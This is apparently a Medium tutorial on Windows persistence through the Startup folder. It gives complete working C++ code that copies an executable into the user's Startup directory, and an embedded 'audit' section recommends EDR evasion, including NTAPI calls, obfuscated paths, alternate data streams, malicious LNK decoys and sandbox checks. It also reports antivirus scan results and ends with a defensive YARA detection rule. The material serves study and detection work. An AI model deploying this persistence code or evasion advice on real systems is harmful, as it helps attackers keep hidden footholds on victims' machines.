Welcome to this new Medium post. In this article, I'll walk you through one of the most basic (yet still abused) techniques for achieving persistence in the offensive Windows security.

The idea behind this technique is so simple: place a malicious executable (or a shortcut that points to it) inside the system's Startup directory. Any file located in this folder is automatically executed when the user logs into Windows, making it a simple persistence mechanism.

There are typically two relevant Startup locations:

User-specific Startup folder: Executes only for the current user:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Global Startup folder: Executes for every user on the system:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

By copying a payload into one of these directories, an attacker ensures that their code is executed every time the system starts or the user logs in

None

Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.

Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:

Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.

Introduction

To achieve the persistence, we need to follow these logical steps:

Step 1: Locate the Startup Directory First, we need to identify the correct Startup folder path. This can be either the current user's Startup directory or the global one. The purpose here is to find a location that Windows will automatically check and execute during user logon.

Step 2: Prepare the Payload Once we know where to persist, we need to ensure our payload is ready. This could be the malware binary itself or a command that executes it. In some cases, this step also involves renaming the file to something less suspicious to blend in with legitimate applications.

Step 3: Drop File or Create Shortcut Next, we place our payload inside the Startup folder. This can be done by copying the executable directly or by creating a .lnk shortcut that points to it. This step is crucial because anything inside this directory will be executed automatically on startup

Implementation

Now, let's look at how to translate that logic into C++ code. I have broken down the most important parts.

Locate the Startup Directory

To locate the Startup Directory we just need to call this function:

wchar_t startupPath[MAX_PATH];
wchar_t destinationPath[MAX_PATH];

// 1. Retrieve the path to the "Startup" folder for the current user
// C:\Users\<Name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
HRESULT hr = SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, 0, startupPath);
if (FAILED(hr)) {
    std::wcerr << L"Failed to get Startup folder path. HRESULT: " << hr << std::endl;
    return FALSE;
}

With the SHGetFolderPathW function combined with the CSIDL_STARTUP flag, we will receive the path of the startup folder for the current user.

Prepare the Payload

Now we just curate our binary path file:

// 2. Extract the filename from the full source path
const wchar_t* fileName = wcsrchr(exePath, L'\\');
if (fileName == NULL) {
    fileName = exePath; // Use the whole string if no backslash is found
}
else {
    fileName++; // Skip the backslash itself
}

// 3. Combine the Startup folder path and the filename
swprintf_s(destinationPath, MAX_PATH, L"%s\\%s", startupPath, fileName);

Drop File or Create Shortcut

And now it's it's time to copy our file inside the folder, simple as use the CopyFileW function:

// 4. Perform the file copy
// FALSE means: if the file already exists, overwrite it.
if (CopyFileW(exePath, destinationPath, FALSE)) {
    std::wcout << L"Successfully copied to: " << destinationPath << std::endl;
    return TRUE;
}
else {
    std::wcerr << L"CopyFileW failed. Error code: " << GetLastError() << std::endl;
    return FALSE;
}

Code

And the complete code looks like this:

#include <iostream>
#include <string>
#include <windows.h>
#include <shlobj.h>
#include <tchar.h>
#include <stdio.h>

// Ensure we link against the Shell library for SHGetFolderPath
#pragma comment(lib, "Shell32.lib")

class UPersistence
{
public:
    /**
     * Copies the specified executable into the current user's Startup directory.
     * This ensures the application runs automatically every time the user logs in.
     */
    BOOL persistenceViaStartupDirectory(const wchar_t* exePath) {
        wchar_t startupPath[MAX_PATH];
        wchar_t destinationPath[MAX_PATH];

        // 1. Retrieve the path to the "Startup" folder for the current user
        // C:\Users\<Name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
        HRESULT hr = SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, 0, startupPath);
        if (FAILED(hr)) {
            std::wcerr << L"Failed to get Startup folder path. HRESULT: " << hr << std::endl;
            return FALSE;
        }

        // 2. Extract the filename from the full source path
        const wchar_t* fileName = wcsrchr(exePath, L'\\');
        if (fileName == NULL) {
            fileName = exePath; // Use the whole string if no backslash is found
        }
        else {
            fileName++; // Skip the backslash itself
        }

        // 3. Combine the Startup folder path and the filename
        swprintf_s(destinationPath, MAX_PATH, L"%s\\%s", startupPath, fileName);

        // 4. Perform the file copy
        // FALSE means: if the file already exists, overwrite it.
        if (CopyFileW(exePath, destinationPath, FALSE)) {
            std::wcout << L"Successfully copied to: " << destinationPath << std::endl;
            return TRUE;
        }
        else {
            std::wcerr << L"CopyFileW failed. Error code: " << GetLastError() << std::endl;
            return FALSE;
        }
    }
};

int main()
{
    UPersistence persister;
    wchar_t currentExePath[MAX_PATH];

    // Get the full path of this running process
    /*if (GetModuleFileNameW(NULL, currentExePath, MAX_PATH) == 0) {
        std::cerr << "Failed to get current executable path." << std::endl;
        return 1;
    }
    */
    wcscpy_s(currentExePath, MAX_PATH, L"C:\\Windows\\System32\\calc.exe");
    std::wcout << L"Current EXE: " << currentExePath << std::endl;
    std::cout << "Attempting to establish persistence via Startup Directory..." << std::endl;

    if (persister.persistenceViaStartupDirectory(currentExePath)) {
        std::cout << "Persistence technique applied successfully." << std::endl;
    }
    else {
        std::cout << "Failed to apply persistence." << std::endl;
    }

    std::cout << "\nPress Enter to exit..." << std::endl;
    std::cin.get();

    return 0;
}

0x12DarkAudit

Medium Issues
  Direct file copy to Startup directory is a well-known persistence mechanism and will trigger EDR/XDR behavioral heuristics (e.g., Sigma rule "Persistence Via Startup Folder"). The use of CopyFileW is a direct, unhooked API call that leaves a clear forensic artifact.
  Recommended fix: Implement indirect file operations using lower-level NTAPI functions (e.g., NtCreateFile, NtWriteFile) with obfuscated paths. Use fileless or alternate data stream (ADS) techniques, or deploy the payload via a decoy document/malicious LNK file to reduce suspicion. Add conditional execution based on system checks to avoid sandboxes.

Minor Issues

 Hardcoded test path C:\\Windows\\System32\\calc.exe is a static artifact that could be flagged during static analysis if not removed in the final payload.
 Improvement suggestion: Remove hardcoded paths from production code. Dynamically resolve the current executable path at runtime using GetModuleFileNameW (as commented) or via PEB walking to avoid static signatures.
 Console I/O (std::wcout, std::cin.get()) creates unnecessary user-mode artifacts and is atypical for stealth implants.
 Improvement suggestion: Remove all console output and interactive elements. Log errors internally or via secure channels only.

Proof of Concept

Windows 11:

None

And if we check the folder content:

None

Now we just restart the computer:

None

And the calc.exe it's executed!

Detection

Now it's time to see if the defenses are detecting this as a malicious threat

Kleenscan

 This file was detected by [0 / 36] engine(s) 

Litterbox

Static Analysis:

None

Dynamic Analysis:

None

Are basically PE and memory alignment errors:

Moneta

 22b54ee58b0eaa227218983ae342f97d_StartupDirectory.exe : 6372 : x64 : C:\Users\s12de\Desktop\LitterBox\Uploads\22b54ee58b0eaa227218983ae342f97d_StartupDirectory.exe
  0x00007FF7BAD80000:0x00029000   | EXE Image           | C:\Users\s12de\Desktop\LitterBox\Uploads\22b54ee58b0eaa227218983ae342f97d_StartupDirectory.exe | Unsigned module
    0x00007FF7BAD80000:0x00001000 | R        | Header   | 0x00000000 | Primary image base
    0x00007FF7BAD81000:0x00010000 | RWX      | .textbss | 0x00010000 | Modified code
    0x00007FF7BAD91000:0x0000a000 | RX       | .text    | 0x00000000
      Thread 0x00007FF7BAD9102D [TID 0x0000257c]
    0x00007FF7BAD9B000:0x00004000 | R        | .rdata   | 0x00000000
    0x00007FF7BAD9F000:0x00001000 | RW       | .data    | 0x00001000
    0x00007FF7BADA0000:0x00005000 | R        | .pdata   | 0x00001000
    0x00007FF7BADA0000:0x00005000 | R        | .idata   | 0x00001000
    0x00007FF7BADA5000:0x00001000 | WC       | .msvcjmc | 0x00000000
    0x00007FF7BADA6000:0x00003000 | R        | .00cfg   | 0x00000000
    0x00007FF7BADA6000:0x00003000 | R        | .rsrc    | 0x00000000
    0x00007FF7BADA6000:0x00003000 | R        | .reloc   | 0x00000000

... scan completed (1.078000 second duration)

Patriot:

Process: 22b54ee58b0eaa227218983ae342f97d_StartupDirectory.exe (PID: 6372)
Level: suspect
Details: Executable region 00007ffa5f772000 does not aligned with section header
Parsed Details:
  region_address: 00007ffa5f772000
  region_decimal: 140713320194048
Module Information
Base Address: 0x7ffa5f550000
Path: \Device\HarddiskVolume3\Windows\System32\ucrtbased.dll
Size: 2.14 MB

ThreatCheck

ThreatCheck.exe -f Z:\StartupDirectory.exe
[+] No threat found!
[*] Run time: 0.52s

Windows Defender

Undetected

Kaspersky Free AV

Undetected

Bitdefender Free AV

Undetected

YARA

Here a YARA rule to detect this technique:

rule Persistence_StartupDirectory
{
    meta:
        author      = "0x12 Dark Development"
        description = "Detects executables that attempt to achieve persistence by dropping or referencing the Windows Startup directory"
        reference   = "https://attack.mitre.org/techniques/T1547/001/"
        category    = "persistence"
        severity    = "high"
        date        = "2025-03-25"

    strings:
        // --- Startup folder path fragments (Unicode + ASCII) ---
        $path_startup_u   = "\\Start Menu\\Programs\\Startup" wide nocase
        $path_startup_a   = "\\Start Menu\\Programs\\Startup" ascii nocase
        $path_programdata = "\\ProgramData\\Microsoft\\Windows\\Start Menu" wide ascii nocase
        $path_appdata     = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu" wide ascii nocase

        // --- Environment variable references ---
        $env_appdata      = "%APPDATA%" wide ascii nocase
        $env_programdata  = "%PROGRAMDATA%" wide ascii nocase
        $env_userprofile  = "%USERPROFILE%" wide ascii nocase

        // --- Shell API used to resolve Startup folder ---
        $api_shgetfolder  = "SHGetFolderPathW" ascii
        $api_shgetknown   = "SHGetKnownFolderPath" ascii

        // --- CSIDL / FOLDERID constants (often appear as byte patterns in imports/data) ---
        // CSIDL_STARTUP = 0x07, CSIDL_COMMON_STARTUP = 0x18
        // FOLDERID_Startup string reference
        $folderid_startup = "FOLDERID_Startup" wide ascii nocase
        $folderid_cstartup = "FOLDERID_CommonStartup" wide ascii nocase

        // --- File drop APIs ---
        $api_copyfile     = "CopyFileW" ascii
        $api_copyfileex   = "CopyFileExW" ascii
        $api_movefile     = "MoveFileW" ascii
        $api_createfile   = "CreateFileW" ascii
        $api_writefile    = "WriteFile" ascii

        // --- LNK shortcut creation (COM-based) ---
        $com_shelllink    = "IShellLinkW" ascii nocase
        $com_persist      = "IPersistFile" ascii nocase
        $clsid_shelllink  = "{00021401-0000-0000-C000-000000000046}" ascii nocase

        // --- PowerShell / scripting variants ---
        $ps_startup       = "$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" nocase
        $ps_startup2      = "shell:startup" nocase
        $ps_wscript       = "WScript.Shell" nocase
        $ps_specialfolder = "SpecialFolders" nocase

        // --- Registry-based startup path resolution (alternative) ---
        $reg_startup_key  = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" wide ascii nocase

    condition:
        uint16(0) == 0x5A4D  // MZ header (PE file)
        and filesize < 10MB
        and (
            // Direct path reference + file operation
            (
                (1 of ($path_startup_u, $path_startup_a, $path_programdata, $path_appdata))
                and (1 of ($api_copyfile, $api_copyfileex, $api_movefile, $api_writefile, $api_createfile))
            )
            or
            // Shell API resolution + file drop
            (
                (1 of ($api_shgetfolder, $api_shgetknown))
                and (1 of ($api_copyfile, $api_copyfileex, $api_movefile, $api_writefile))
            )
            or
            // FOLDERID constant reference + file operation
            (
                (1 of ($folderid_startup, $folderid_cstartup))
                and (1 of ($api_copyfile, $api_copyfileex, $api_movefile, $api_writefile, $api_createfile))
            )
            or
            // COM-based LNK shortcut creation targeting Startup
            (
                (1 of ($com_shelllink, $com_persist, $clsid_shelllink))
                and (1 of ($path_startup_u, $path_startup_a, $path_programdata, $path_appdata))
            )
            or
            // Scripting / PowerShell variants
            (2 of ($ps_startup, $ps_startup2, $ps_wscript, $ps_specialfolder, $env_appdata, $env_programdata))
            or
            // Registry-based path resolution + file op
            (
                $reg_startup_key
                and (1 of ($api_copyfile, $api_movefile, $api_writefile, $api_createfile))
            )
        )
}

Here you have my collection of YARA rules:

Conclusions

In summary, persistence via the Startup directory is a fundamental technique, but its simplicity makes it a loud choice in modern environments. While easy to implement using standard Windows APIs, the predictable file paths and forensic artifacts ensure it is frequently flagged by AV/EDR and XDR behavioral analysis.

📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter

We help security teams enhance offensive capabilities with precision-built tooling and expert guidance, from custom implants to advanced evasion strategies

S12.